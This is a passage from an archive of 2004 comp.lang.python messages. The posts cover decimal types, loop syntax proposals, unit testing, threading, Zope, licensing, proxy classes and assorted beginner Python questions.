...         return self.data
...
>>> myroutine = CallableList()
>>> myroutine('1')
['1']
>>> myroutine('spam')
['1', 'spam']
>>> myroutine.data
['1', 'spam']
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"Argue for your limitations, and sure enough they're yours."  --Richard Bach


From FBatista at uniFON.com.ar  Tue Feb  3 07:33:26 2004
From: FBatista at uniFON.com.ar (Batista, Facundo)
Date: Tue, 3 Feb 2004 09:33:26 -0300 
Subject: PEP 327: Decimal Data Type
Message-ID: <A128D751272CD411BC9200508BC2194D03383584@escpl.tcp.com.ar>

cookedm wrote:

#- What we need for this is an interval type. 1.80 m shouldn't be stored
#- as '1.80', but as '1.80 +/- 0.005', and operations such as addition
#- and multiplication should propogate the intervals.

I think this kind of math is beyond a pure numeric data type. 1.80 is to be
represented as a numeric data type. And also 0.005. 

But '1.80 +/- 0.005' should be worked in another object. Hey! These are the
benefits of OOP!

.	Facundo



From bignose-hates-spam at and-benfinney-does-too.id.au  Tue Feb  3 03:22:57 2004
From: bignose-hates-spam at and-benfinney-does-too.id.au (Ben Finney)
Date: 3 Feb 2004 19:12:57 +1050
Subject: removing spaces when mixing variables / text
References: <pan.2004.02.03.08.14.18.542560@spam.kc.rr.com>
Message-ID: <slrnc1unoh.151.bignose-hates-spam@rose.localdomain.fake>

On Tue, 03 Feb 2004 02:14:18 -0600, tgiles wrote:
> import random
> 	n = 2
> 	while n > 0:	
> 	a = random.randint(1,254)	
> 	b = random.randint(1,254)	
> 	c = random.randint(1,254)	
> 	d = random.randint(1,254)
> 	print a,".",b,".",c,".",d	
> 	n = n-1
>
> The output at the moment looks like so:
>
> 179 . 72 . 138 . 272
> 21 . 124 . 83 . 9

This looks like a good opportunity to learn about the string formatting
operator:

    >>> import random
    >>> for n in ( 1, 2 ):
    ...     a = random.randint( 1, 254 )
    ...     b = random.randint( 1, 254 )
    ...     c = random.randint( 1, 254 )
    ...     d = random.randint( 1, 254 )
    ...     print "%d.%d.%d.%d" % ( a, b, c, d )
    ...
    147.23.187.25
    138.248.253.1
    >>>

You can learn about many useful Python features like this by working all
the way through the Python tutorial:

    <http://www.python.org/doc/tut/>

-- 
 \        "Either he's dead or my watch has stopped."  -- Groucho Marx |
  `\                                                                   |
_o__)                                                                  |
Ben Finney <http://bignose.squidly.org/>


From deets_noospaam at web.de  Sun Feb  8 11:10:03 2004
From: deets_noospaam at web.de (Diez B. Roggisch)
Date: Sun, 08 Feb 2004 17:10:03 +0100
Subject: splitting tables
References: <pan.2004.02.07.20.09.11.437775@no.mail.it>	<m3ad3usiop.fsf@hamster.pflaesterer.de>
	<pan.2004.02.08.14.03.15.475979@no.mail.it>
Message-ID: <c05n0r$fp$00$1@news.t-online.com>

> where -9999 (or somethinbg similar) indicates there is a blank, one space
> divides the columns and the elements can have a different number of
> digits. This is of course a worst-case scenario :)
> That is why I used split in the beginning, but then I fall into the other
> problem, when there is a missing value.
> Any suggestions will be much appreciated, thanks


The data looks like the different fields have different types - e.g. floats,
years, fixed width integers and so on - so you might be able to create a
regular expression like this:

"(CGA|) ([0-9]{4}|) ([0-9][2]|)"

You then could retrieve the single groups of the match. If a line doesn't
match, you either adapt the expression, or if thats not possible, create a
error-file that you could look over manually. 
-- 
Regards,

Diez B. Roggisch


From na  Sun Feb  8 13:48:42 2004
From: na (ADE)
Date: Sun, 8 Feb 2004 10:48:42 -0800
Subject: How to search for files
Message-ID: <102d1936uqaqbc4@corp.supernews.com>

Hi I am building an application in Tkinter and Python that searches my
harddrive for images

I would like to know how I could search for filenames on my hardrive

eg if I do a search for sunsets I would like everything with the name sun
sunset and sunsets to appear

just the filename and the path I would like displayed it would be appearing
in a listbox

Anyhelp is appreciated

You guys/girls rock

Cheers

if you need to take a look at my code post to this message

Thanks again




From ark at acm.org  Wed Feb 18 00:18:47 2004
From: ark at acm.org (Andrew Koenig)
Date: Wed, 18 Feb 2004 05:18:47 GMT
Subject: PEP-0315--Enhanced While Loop: An idea for an alternative syntax
Message-ID: <XACYb.41933$hR.981878@bgtnsc05-news.ops.worldnet.att.net>

PEP 315 suggests that a statement such as

    do:
        x = foo()
    while x != 0:
        bar(x)

be equivalent to

    while True:
        x = foo()
        if x == 0:
            break
        bar(x)

I like the overall idea, but wonder about the extra keyword.  Moreover, if
you see

        x = foo()
    while x != 0:
        bar(x)

you have to read backward to see whether the assignment to x is part of this
statement or part of a previous statement.

I have a proposal for an alternative syntax that solves both of these
problems:

    while:
        x = foo()
    and while x != 0:
        bar(x)

This example actually incorporates two changes:

    1) "while:" is equivalent to "while True:"

    2) "and while <condition>:" is an exit from the middle of the loop,
analogously to PEP 315.

My proposal allows for multiple exits in the obvious way

    while <condition 1>:
        <statements 1>
    and while <condition 2>:
        <statements 2>
    and while <condition 3>:
        <statements 3>
    ...

in which all of the conditions and statements are evaluated in the order
shown until a condition is false, at which point the loop terminates.


It also occurs to me that this notion can be generalized to include "or
while" as well as "and while".  Using "or while" would implement a control
structure that Dijkstra proposed in "A Discipline of Programming".  The idea
would be that

    while <condition 1>:
        <statements 1>
    or while <condition 2>:
        <statements 2>
    or while <condition 3>:
        <statements 3>

would be equivalent to

    while True:
        if <condition 1>:
            <statements 1>
        elif <condition 2>:
            <statements 2>
        elif <condition 3>:
            <statements 3>:
        else:
            break

This notion is still partly baked, if for no other reason than that I'm not
sure how a statement with both "or while" and "and while" clauses should
work.  My first thought is for "and while" to have priority over "or while",
analogously with expressions, but then the following example came to me.
It's the inner loop of a binary search:

    while low < hi:
        mid = (low + hi) // 2;
    and while value < table[mid]:
        high = mid
    or while value > table[mid]
        low = mid

If "and" has higher precedence than "or", this example doesn't work.  So I'm
not sure about its merits -- but I'm mentioning it in case someone else can
improve on it.




From cameron.mccloud at online.ie  Tue Feb 17 03:42:49 2004
From: cameron.mccloud at online.ie (Cameron McCloud)
Date: 17 Feb 2004 00:42:49 -0800
Subject: the best book for learning python !?
References: <b15d2792.0402161313.6902cc27@posting.google.com>
	<yvcYb.26185$si2.13662@newssvr25.news.prodigy.com>
Message-ID: <c0adae63.0402170042.17f39924@posting.google.com>

Hi,

I got the second edition of "Learning Python" a couple of weeks ago
and found it very disappointing. I had been expecting something along
the lines of "Learning Perl", which is an excellent book for newbies.

My main gripe with "Learning Python" is that it is too long and
detailed. As a newbie, you don't want that detail initially. For
example, the "Hello, world" program doesn't appear until page 142!

Having said that, the book is really good if you already know a bit of
Python. The explanation of some of the language features is really
revealing and I did learn a lot from it.

For a newbie, I'd recommend "Practical Python".

Cameron.

"python newbie" <mesteve_b at hotmail.com> wrote in message news:<yvcYb.26185$si2.13662 at newssvr25.news.prodigy.com>...
> The new second edition of Learning Python is outstanding.  Not because of
> the fact that it's recent (2004), but it just simply surpassed the first
> edition in coverage.  Exceptions covered in 3 chapters, is one of my
> personal reasons.
> 
> I actually put my Quick Python and Python in a Nutshell back on the
> bookshelf, just for now, and stopped doing anything with my current Python
> app (a backup program), until I've read this edition of L.P.  and inhaled
> the concepts better.
> You asked for books, specifically, so I won't mention the tutorials
> available on the net.
> Have fun,
> Steve
> 
> 
> "post400" <post400 at prontomail.com> wrote in message
> news:b15d2792.0402161313.6902cc27 at posting.google.com...
> > Hi ,
> >
> > I was just wondering ( yeah I know it's not the first time this
> > question pops up )
> > what would be the best 2 or 3 books for someone who wants to learn
> > Python , already experienced in other non-OOP languages .It takes time
> > to browse endlessly on the net , in a bookshop or a library for THOSE
> > books that are really useful !
> >
> > Thanks ,
> > post400


From eurleif at ecritters.biz  Wed Feb 25 19:44:24 2004
From: eurleif at ecritters.biz (Leif K-Brooks)
Date: Thu, 26 Feb 2004 00:44:24 GMT
Subject: Size limit on compiling?
Message-ID: <Ijb%b.75$a6.33911@newshog.newsread.com>

I have a Python file of 1.2MB (it's a static database, not code, so it 
really does have to be that big). It doesn't seem to get compiled when 
imported (there's no .pyc file created), so importing it takes a few 
seconds which I would really like to avoid. Is Python not compiling it 
because of the large size? Is it because the whole file is on one really 
long line? How can I fix this?


From anton at vredegoor.doge.nl  Tue Feb 24 10:10:02 2004
From: anton at vredegoor.doge.nl (Anton Vredegoor)
Date: Tue, 24 Feb 2004 16:10:02 +0100
Subject: Extract data from ASCII file
References: <3602cff7.0402220711.3f7ed46@posting.google.com>	<mailman.164.1077464239.27104.python-list@python.org>
	<3602cff7.0402230612.4248c279@posting.google.com>
	<mailman.219.1077562573.27104.python-list@python.org>
Message-ID: <403b6a00$0$130$3a628fcd@reader2.nntp.hccnet.nl>

"Mike C. Fletcher" <mcfletch at rogers.com> wrote:

>Oh, and since someone took issue with my use of (new in Python 2.2) 
>yield (luddites :) ;) ), here's a non-generator version using the same 
>basic code pattern:
>
> >>> def splitter( line ):
>...     line = line[9:] # skip prefix
>...     result = []
>...     while line:
>...         prefix, line = line[:4],line[4:]
>...         result.append( prefix[2:]+prefix[:2] )
>...     return result

The basic problem with this code pattern is that it makes a lot of
large slices of the line. With a small line there is no problem but it
looks like it doesn't scale well.

After reconsidering all alternatives I finally favor a variant of
Irmen's code, but without slicing the whole line and -after all-
definitely *using* yield because it seems appropriate here.

    def process(line,offset):
        for i in xrange(offset,len(line),4):
            yield line[i+2:i+4] + line[i:i+2]
    
    def test():
        line = ":10000000E7280530AC00A530AD00AD0B0528AC0BE2"
        print '\n'.join(process(line,9))
    
    if __name__=='__main__':
        test()

output is:

28E7
3005
00AC
30A5
00AD
0BAD
2805
0BAC
E2

Anton


From ferrell at diablotech.com  Tue Feb 17 18:06:58 2004
From: ferrell at diablotech.com (Robert Ferrell)
Date: 17 Feb 2004 15:06:58 -0800
Subject: Unit-testing single function with large number of different
	inputs
References: <87ptcdsyyt.fsf@titan.staselog.com>
Message-ID: <73b00f0c.0402171506.4f801bc8@posting.google.com>

I'm not a unit-testing expert, and I don't necessarily recommend what
I'm about to suggest, but...

To solve the problem of having a single "test" actually run many
"internal" tests, report on the results of those many tests, and fail
(in the PyUnit sense) if any of those internal tests fail, you could
add a flag, AllTestsPassed, to the TestLoad and TestValidate classes. 
Initialize that flag to True.  Then, in your version of assertEqual,
if any test fails set the flag to False.  Finally, after you've run
all your tests, add

  self.failUnless(self.AllTestsPassed, 'Some tests failed.')

HTH,

-robert
Edvard Majakari <edvard+news at majakari.net> wrote in message news:<87ptcdsyyt.fsf at titan.staselog.com>...
> Hi all ya unit-testing experts there :)
> 
> Code I'm working on has to parse large and complex files and detect
> equally complex and large amount of errors before the contents of the file
> is fed to module interpreting it. First I created a unit-test class named
> TestLoad which loaded, say, 40 files of which about 10 are correct and
> other 30 files contained over 20 different types of errors. Different
> methods on the TestLoad class were coded so that they expected the
> spesific error to occur. They looked like the following:
> 
> def test_xxx_err(self):
>     for fname in xxx_err_lst:
>        self.assertEqual(get_load_status(fname), xxx)
> 
> However, now we've added several more tests and we have added another
> function to the system - the ability to try loading the file without
> actually executing instructions in it. So, I added another class
> TestValidate, which has exactly the same tests as the TestLoad class, the
> only difference being in the routine get_load_status, which is not
> get_load_status but get_validate_status.
> 
> I thought I'd simplify the process of adding new tests - if it is too
> cumbersome to add new tests, we'll end up with having few tests which in
> turn will result in more buggy software system. 
> 
> Thus I came up with the simple idea of adding two directories:
> test/correct-files and test/incorrect-files. Every time the test suite is
> run, it goes through every file in the test/correct-files and
> test/incorrect-files and expects to receive status 0 from all files under
> correct-files, and appropriate error code from all files under
> test/incorrect-files. How does it deduce the correct error code? Well,
> I've forced things to that any file in the test/incorrect-files must
> begin with code prefix 'xx-' in the file name, and the test suite reads
> expected error code from the file name prefix. 
> 
> All this allows me to have only two methods (in addition to setUp and
> tearDown methods) in TestLoad and TestValidate classes, and what's more
> convenient - I don't have to alter unit test suite at all when I add new
> file tests to the system; all I have to do is to put it under either
> directory, and if the file contains an error, I prefix the file name with
> appropriate code.
> 
> The system has but one annoyance: first, if I use self.assertEqual in the
> test_load method, it aborts on the first error found and as such doesn't
> test all the other files. This would be bad, because when errors occur in
> the code, I have to fix them one by one running test suite after every fix
> to find other potential errors in the system. 
> 
> So I changed the test_load routine by replacing self.assertEqual with my
> own code which won't abort the test if errors are found, but it will
> report them with sufficient verbosity and continue testing. But this
> approach isn't optimal either: because there is no self.assertEqual in the
> test anymore, there may be many errors in the test class but after running
> all the methods, the test suite will report OK status, even though errors
> did occur.
> 
> The problem I described above shows probably one of the best reasons why
> each test method should test only one (type of) thing, but in my special
> case I don't find that appropriate due to aforementioned reasons. Any
> suggestions? I was wondering about creating test methods dynamically
> according to the files found in the test directories (which would solve
> all the problems), but I find it a tad too complex way of solving the
> problem.


From alanmk at hotmail.com  Wed Feb 11 14:23:33 2004
From: alanmk at hotmail.com (Alan Kennedy)
Date: Wed, 11 Feb 2004 19:23:33 +0000
Subject: server bootstrapping upon connection (WARNING: LONG)
References: <ef08387c.0402100854.7c03b60c@posting.google.com>
	<86fzdiydpu.fsf@stronzo.brainbot.com> (null) (null)
	<2004021016361216807%this@isforspambot>
	<86k72uzfih.fsf@stronzo.brainbot.com>
	<2004021019594716807%this@isforspambot>
	<2004021111491975249%this@isforspambot>
Message-ID: <402A8135.940ACE8E@hotmail.com>

[Benjamin Han]
> But as described, the ps log showed two entries of fooServer.py, but in
> the log produced, only one server actually was started (I can tell that
> from the PID in the log file). I really can't explain this discrepency!

Quick sanity check: Are you using an operating system that reports an
entry in the ps list for every *thread* of a process, rather an entry
for every process, as you might expect. So if you have 2 threads
running under the "fooServer.py" process, you get 2 entries in the
output of ps, rather than 1.

Some unixen do this.

HTH,

-- 
alan kennedy
------------------------------------------------------
check http headers here: http://xhaus.com/headers
email alan:              http://xhaus.com/contact/alan


From mailslayer99 at yahoo.com  Wed Feb 18 12:20:25 2004
From: mailslayer99 at yahoo.com (Scott)
Date: 18 Feb 2004 09:20:25 -0800
Subject: Nature of Zope...
Message-ID: <cd29768.0402180920.35b6aeab@posting.google.com>

Greetings everyone,

I have a couple general questions regarding the nature of Zope?

Also, please forgive me if this is not the proper forum for this type
of question.  If so, please disregard.

I'm interested in developing business apps, not just developing a
content management site.  I'm wondering if Zope is right for me.  My
programming exposure has been limited to simple PHP and not even from
an OOP perspective, just simply dropping logic into HTML pages


I'm interested in building deployable apps with administration built
into the app itself, not necessarily being administered from within
Zope.  For example, I would create an app with its own administrator,
its own staff, and its own technicians.  These being completely
separate from the Zope management console.  (The users and managers of
this app would be completely unaware of Zope).

These users would have certain tasks that they can do based on of
course their ownership and security levels (these also being managed
by the apps administrator and perspective).  Can these things be
controlled outside of Zope?  If I did that would it break the core
"point" of Zope?  Can and should I create a means to tie into the
ZopeDB from within the app for users and perms or can I store this in
a SQL database.  If I create a deployable package and distribute it,
let it run, and simply restore my MySQL database in the event of a
failure and redeploy my original "Zope Project" after a
re-installation, could I be good to go?  Or must I store users,
groups, perms, etc in the ZopeDB, or can I put users and their
permissions in a SQL DB?

If Zope is well suited to do this, what is the next step?  I've
installed and ran through the tutorial, but It doesn't get into the
nitty gritty, I have no Python experience and no OOP experience.

I plan on designing apps that have a lot of logic tied into it?  I
have no idea where I can find out how to do certain things, for
example, making database modifications based on certain criteria that
a user does in the app, modifying the DB schema, creating the actual
HTML forms based on SQL data, dropping in the logic behind the scenes.
 The best way I've learned in the past is with tutorials, which
explain things step by step and why.

In order to use Zope, is it mandatory to know Python and OOP to build
complex apps.  The reason for me wanting to use Zope is so I wouldn't
have to learn another language, so that development could go fast, so
that a person without extensive programming experience could build a
logical business application.

If it helps, the three apps I'm working on are:

One, an asset management database, with admins making schema changes,
and assigning groups and users to modify add certain pieces.

And two others, one a change management system and the other a trouble
ticket system, once again admins creating and managing users (staff
and tech), staff members creating and managing tickets and assigning
them to techs, and techs managing their assigned tickets.  Everything
is queue based with ownership.

Thanks so much for your help and time



From cookedm+news at physics.mcmaster.ca  Mon Feb  2 21:03:34 2004
From: cookedm+news at physics.mcmaster.ca (David M. Cooke)
Date: Mon, 02 Feb 2004 21:03:34 -0500
Subject: Finding messages in huge mboxes
References: <401eb54c$0$315$e4fe514c@news.xs4all.nl>
	<donn-59CB8D.13433002022004@nntp4.u.washington.edu>
Message-ID: <qnkhdy8dimh.fsf@arbutus.physics.mcmaster.ca>

At some point, Donn Cave <donn at u.washington.edu> wrote:

> In article <401eb54c$0$315$e4fe514c at news.xs4all.nl>,
>  Bastiaan Welmers <haasje at welmers.net> wrote:
> ...
>> I need find messages in huge mbox files (50MB or more).
> ...
>> Especially because I often need messages at the end
>> of the MBOX file.
>> So I tried the following (scanning messages backwards
>> on found "From " lines with readline())
>
> readline() is not your friend here.  I suggest that
> you read large blocks of data, like 8192 bytes for
> example, and search them iteratively.  Like,
> next = block.find('\nFrom ', prev + 1)

Unless, of course, you read '\nFr', then 'om ' in the next block...

I can't think of a simple way around this (except for reading by
lines). Concating the last two together means having to keep track of
what you've seen in the last block. Maybe picking off the last line
from the last block (using line.rfind('\n')), and concatenating that
to the beginning of the next.

-- 
|>|\/|<
/--------------------------------------------------------------------------\
|David M. Cooke
|cookedm(at)physics(dot)mcmaster(dot)ca


From tcronj2spam at me.not.ananzi.coza  Thu Feb 12 13:14:52 2004
From: tcronj2spam at me.not.ananzi.coza (tcronj)
Date: Thu, 12 Feb 2004 20:14:52 +0200
Subject: str() or repr()
Message-ID: <9dmdnd8rA_CkWbbdRVn-gw@is.co.za>

Have reasently upgraded to PySQLite 0.5.
I now have to "typecast" returned values to the "string expecting" GUI 
widgets (wxPython).

Afrer reading the explanation, I'm still not clearer wich is better to 
use... str() or repr()

example: self.wxTextCtrl.Setvalue( str(val["typedate"]))
			   ## or  repr(val["typedate"])

	 self.wxTextCtrl.Setvalue( str(val["typefloat"]))
			   ## or  repr(val["typefloat"])



TIA.
T



From simonb at webone.com.au  Mon Feb 23 17:57:15 2004
From: simonb at webone.com.au (Simon Burton)
Date: Tue, 24 Feb 2004 09:57:15 +1100
Subject: Need help with C extensions
References: <CFN376615581598264@news.mindspring.com>
Message-ID: <pan.2003.02.10.01.01.27.553792@webone.com.au>

On Sun, 09 Feb 2003 13:23:45 +0000, Carl Bevil wrote:

> Hello all.  I am attempting to wrap a C library so that I can use it in 
> Python.  I've used SWIG on the header for this file, and am able to import and 
> run functions from the library.
> 
> The problem is that the library makes use of pointers as arguments and as 
> return values.  For example, a C function:
> 
> void GetValues(float* val1, float* val2)
> 

Yes. I use the "pointer.i" SWIG library to "dereference" pointers (aka
array lookups) from python. Unfortunately, i think it may be deprecated...

Simon Burton.




From peter at engcorp.com  Fri Feb 13 10:24:52 2004
From: peter at engcorp.com (Peter Hansen)
Date: Fri, 13 Feb 2004 10:24:52 -0500
Subject: Question: spawn and redirection
References: <cd738c650dfb5e3784c0a662fdc8c53e@news.meganetnews.com>
Message-ID: <402CEC44.EFE48130@engcorp.com>

"Ladv?nszky K?roly" wrote:
> 
> On Windows, what is the proper way to spawn an executable and redirect its
> stdout and stderr.

Redirect them where?  The answer might well be different (e.g. os.system vs.
os.popen) if you are redirecting them to a file versus redirecting them back
to the calling program.

-Peter


From phil.hornby at accutest.co.uk  Mon Feb  2 06:55:50 2004
From: phil.hornby at accutest.co.uk (Phil Hornby)
Date: Mon, 2 Feb 2004 11:55:50 -0000
Subject: Close Threading
In-Reply-To: <bvlbkt$gpm$1@nsnmrro2-gest.nuria.telefonica-data.net>
Message-ID: <NFBBIBBEGKCGCEGNDLKGKEJPDNAA.phil.hornby@accutest.co.uk>

Jose,

>> I start the threading process with  t.start()
>> How can i do to close the threading process?

You have several options - depending on the structure of your code - how you
are using your threads. Not claiming any are the best or only ways....but
they are the ways I have used...

If for example you are using event to trigger a thread you could have an
event to trigger ending the thread - and use waitformultipleobjects from
win32all (or equivalent) and then simply allow your run() method to end.

e.g.

class mytheard(threading.Thread):
	def run():
		# do some init
		self.dosomeinit()

		while 1:
			obj = waitformultipleobjects() # needs some params i think...

			if obj == shutdown_obj:
				break

			else:
				# do something
				self.dosomething()

		# do some shutdown
		self.dosomeshutdown()

	def end():
		shutdown_obj.set()

Or

If you have a thread that is generally doing something  then you can use a
simple flag.

e.g.

class mytheard(threading.Thread):
	def run():
		# do some init
		self.dosomeinit()

		while self.continue == 1:
			# do something
			self.dosomething()

			sleep(0)

		# do some shutdown
		self.dosomeshutdown()

...in some other code...
t.continue = 0
...

Or

If you have a thread that runs in the background and you just want it to end
when the main thread does you could just make it a daemon thread like so:

e.g.
class mytheard(threading.Thread):
	def __init__():
		#do some init
		self.dosomeinit()

		# ensure thread is destroyed with the main process
        	self.setDaemon(1)

HTH

--
Phil

"Requirements - what are they I just hack something together that does what
I think they want" ;)

--
http://mail.python.org/mailman/listinfo/python-list




From http  Sun Feb 29 21:49:24 2004
From: http (Paul Rubin)
Date: 29 Feb 2004 18:49:24 -0800
Subject: Licensing of wrappers around C/C++ code under more restrictive
	licensing.
References: <7ed8f64d.0402280218.5ff447cf@posting.google.com>
	<du7ishrmqsv.fsf@amadeus.cc.tut.fi>
	<dc6f5c99.0402281637.71f8a571@posting.google.com>
	<mailman.1.1078031359.21439.python-list@python.org>
	<Lmx0c.58917$aH3.1816559@bgtnsc04-news.ops.worldnet.att.net>
Message-ID: <7xsmgtqo23.fsf@ruckus.brouhaha.com>

"Andrew Koenig" <ark at acm.org> writes:
> > The FSF peoples seem to have a different interpretation, as, last I
> > heard, they suggest that software that links to any GPL software, even
> > at run-time constitutes an infringement (regardless of your not having
> > distributed the GPL code yourself, and the end-user having a perfectly
> > valid license to link the two for personal use).
> 
> Can you provide evidence to support this claim?

http://www.gnu.org/licenses/gpl-faq.html#LinkingWithGPL


From trevp at trevp.net  Thu Feb 26 17:45:56 2004
From: trevp at trevp.net (Trevor Perrin)
Date: Thu, 26 Feb 2004 14:45:56 -0800
Subject: Pure Python HTTPS Server
In-Reply-To: <c1lq2u$t13$1@news-int2.gatech.edu>
Message-ID: <5.2.0.9.0.20040226142750.03cf9078@pop.sbcglobal.yahoo.com>

At 04:56 PM 2/26/2004 -0500, Mikey At Work wrote:

>Does anyone know of any HTTPS servers available that are totally written in
>Python?  Thanks.


tlslite lets you run Python's BaseHTTPServer or SimpleHTTPServer with HTTPS.
http://trevp.net/tlslite/

It's pure-python, but you have to generate your server certificate 
externally (like with OpenSSL).

Also, it doesn't know how to load OpenSSL's PEM-encoded private keys unless 
you have M2Crypto.  I'll add that next week.


Trevor 




From antonmuhin at rambler.ru  Mon Feb  9 09:27:56 2004
From: antonmuhin at rambler.ru (anton muhin)
Date: Mon, 09 Feb 2004 17:27:56 +0300
Subject: Transfer undefined class methods to attribute's method.
In-Reply-To: <c084pg$4m2$1@news.tudelft.nl>
References: <c084pg$4m2$1@news.tudelft.nl>
Message-ID: <c085k2$1387ce$1@ID-217427.news.uni-berlin.de>

Maarten van Reeuwijk wrote:
> Hello,
> 
> Maybe I was a little too detailed in my previous post [same title]. I can
> boil down my problem to this: say I have a class A that I encapsulate with
> a class Proxy. Now I just want to override and add some functionality (see
> my other post why). All functionality not defined in the Proxy class should
> be delegated (I can't use inheritance, see other post). It should be
> possible to achieve this using Python's great introspection possibilities,
> but I can't find out how. Any help would be really appreciated!
> 
> TIA, Maarten
> 
> Example (class A and Proxy): 
> 
> class A:
>     def __init__(self):
>         pass
> 
>     def methodA(self):
>         pass
> 
>     def methodB(self):
>         pass
> 
>     def methodC(self):
>         pass
> 
> class Proxy:
>     def __init__(self):
>         self.a = A()
> 
>         # maybe scan the methods in A and not in this class?????
>         # setup a hook for undefined methods?
> 
>     def methodA(self):
>         # what I DON'T want:
>         return self.a.methodA()
>         # and this for every method...
> 
> 
>     # maybe something like this?
>     def process_unknownmethod(self, method, args):
>         return self.a.method(args)
> 
> P = Proxy()
> P.methodA()
> P.methodC()
> 
> output:
> Traceback (most recent call last):
>   File "group.py", line 36, in ?
>     P.methodC()
> 
> 
> 

This might help (almost untested):

class Proxy(object):
     def __init__(self, obj):
         self.obj_ = obj

     def __getattr__(self, name):
         return getattr(self.obj_, name)

class Foo(object):
     def methodA(self):
         return 'Foo.methodA'

     def methodB(self):
         return 'Foo.methodB'

foo = Foo()
p = Proxy(foo)

print p.methodA()
print p.methodB()

regards,
anton.


From donn at u.washington.edu  Fri Feb  6 12:27:44 2004
From: donn at u.washington.edu (Donn Cave)
Date: Fri, 06 Feb 2004 09:27:44 -0800
Subject: execv putting quotes around arguments
References: <4023c273$0$41295$a1866201@newsreader.visi.com>
Message-ID: <donn-122D87.09274406022004@nntp2.u.washington.edu>

In article <4023c273$0$41295$a1866201 at newsreader.visi.com>,
 Mike Vieths <foeclan at yahoo.com> wrote:
> I'm running into a problem when I try to run commands with os.execv.  It 
> seems to be putting quotation marks around each element of the list 
> passed as its second argument.  This is fine for the most part, but if 
> the argument has a space in it, getopt (in the command being called) 
> will read the entire quoted string as the argument and generally fail.
...
> This can be worked around by breaking '-l foo' into two seperate 
> elements ('-l' and 'foo'), but that's not always intuitive.  Anyone know 
> why those quotes are there, and if there's a way to make them go away? 
> I'm stuck with execv, since this is part of a larger project for which 
> I'm creating a module, and modifying that portion to use os.popen, 
> os.system, or something similar isn't an option.

os.system(cmdline) is about the same as os.fork()
followed by os.execv('/bin/sh', ['sh', '-c', cmdline])

The way execv works is generally a strong advantage,
because it doesn't automatically run the shell over
its parameters (it doesn't `add quotes', it just
doesn't need them), and that shell step opens you
up to all kinds of unexpected possibilities if you
don't positively know what's going into the command
line.  But if you want the shell, you can have it -
just invoke it.

   Donn Cave, donn at u.washington.edu


From peter at engcorp.com  Thu Feb 12 13:38:26 2004
From: peter at engcorp.com (Peter Hansen)
Date: Thu, 12 Feb 2004 13:38:26 -0500
Subject: An XML parser is an XML parser.  Period.
References: <mailman.1428.1076438817.12720.python-list@python.org>
	<402931E4.C1E50E92@engcorp.com> <c0beqb$2uv$00$1@news.t-online.com>
	<40294322.7AF2C6D7@engcorp.com> <c0bh63$jp2$05$1@news.t-online.com>
	<40294D36.B0AEE3C4@engcorp.com> <c0do15$tge$02$1@news.t-online.com>
	<402A69C2.FC8DABA@engcorp.com> <402A84FF.42CCB137@hotmail.com>
	<402A87FD.5879C6DC@engcorp.com>
	<d116fbae.0402120629.330062bb@posting.google.com>
Message-ID: <402BC822.FA5ACD89@engcorp.com>

Uche Ogbuji wrote:
[snip]
> Are you seriously telling me that in the face of all this, my
> criticism, strongly worded as it is, is unfair?

[snip]
> The bad news is that it's only available from ReportLab CVS.
> My article is now out and includes details for obtaining PyRXPU:

Let's just say that by mentioning pyRXPU as an alternative packaging
which does support Unicode, and by saying after testing it out that 
"It's good to have this confidence that PyRXPU is a conforming XML parser,"
I don't have any serious complaint about the criticism.

Nice article, by the way.  And thanks for taking the time to research and
write it!

-Peter


From bob at redivi.com  Sun Feb 29 13:08:28 2004
From: bob at redivi.com (Bob Ippolito)
Date: Sun, 29 Feb 2004 13:08:28 -0500
Subject: Brent Ashley's JavaScript remote scripting (JSRS)
References: <20040229125027.01774.00000642@mb-m22.aol.com>
Message-ID: <2004022913082827544%bob@redivicom>

On 2004-02-29 12:50:27 -0500, piedmontbiz at aol.com (PiedmontBiz) said:

> I am looking for ways to do interactive web pages with python as a backend.
> 
> I ran across serveral articles on Brent Ashley's JavaScript remote scripting
> (JSRS) locateded at http://www.ashleyit.com/rs/
> 
> This package allows a client web browser to transfer data to and from the
> server without loading reloading pages.... as I understand it. The resulting
> "application" would be have like a desktop application.
> 
> I downloaded and am now studying the code.
> There are no demos with a web page calling a python script but I am going to
> whip something up soon.
> 
> Anyone with any experience with this? Does it really work? Any caveats?

There is something like this in Twisted called LivePage.. and a newer 
version in Nevow called Evil something or another :)  I don't believe 
either has the kind of compatibility matrix that JSRS does, though.

The biggest caveat really is that it's now a javascript application, 
not a web page, and not all browsers are created equally.

-bob



From aahz at pythoncraft.com  Thu Feb  5 09:16:51 2004
From: aahz at pythoncraft.com (Aahz)
Date: 5 Feb 2004 09:16:51 -0500
Subject: PEP 327: Decimal Data Type
References: <mailman.1036.1075467073.12720.python-list@python.org>
	<6ltk10h30riel0lghd18t5unjco2g26spi@4ax.com>
Message-ID: <bvtj8j$f8j$1@panix2.panix.com>

In article <6ltk10h30riel0lghd18t5unjco2g26spi at 4ax.com>,
Stephen Horne  <steve at ninereeds.fsnet.co.uk> wrote:
>On Fri, 30 Jan 2004 09:49:05 -0300, "Batista, Facundo"
><FBatista at uniFON.com.ar> wrote:
>>
>>I'll apreciate any feedback. Thank you all in advance.
>
>My concern is that many people will use a decimal type just because it
>is there, without any consideration of whether they actually need it.
>
>95% of the time or more, all you need to do to represent money is to
>use an integer and select appropriate units (pence rather than pounds,
>cents rather than dollars, etc) so that the decimal point is just a
>presentation issue when the value is printed/displayed but is never
>needed in the internal representation.

The problem lies precisely in that representation.  For starters, a
binary integer is O(n^2) for conversion to decimal printing.  Then
there's the question about multi-currency conversions, or interest
rates, or ....
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"The joy of coding Python should be in seeing short, concise, readable
classes that express a lot of action in a small amount of clear code -- 
not in reams of trivial code that bores the reader to death."  --GvR


From jcarlson at nospam.uci.edu  Sun Feb  1 23:44:04 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Sun, 01 Feb 2004 20:44:04 -0800
Subject: Interactive Shell?
In-Reply-To: <20040201215942.28384.00001169@mb-m15.aol.com>
References: <20040201215942.28384.00001169@mb-m15.aol.com>
Message-ID: <bvkkmr$cbt$1@news.service.uci.edu>

> learned what I have from Lisp, I understand the >>> prompt in "Learning Python"
> and I have fun using the interactive shell, playing with strings and functions.

Welcome back.


> Which is the best was to use Python: from the interactive shell, as a scripting
> language, or as the Python.h library with C? Is the interactive shell there for
> anything beyond prototyping code?

I use the interactive shell as a calculator, to process text (in various 
ways), to run through ideas that I don't know will work or not (usually 
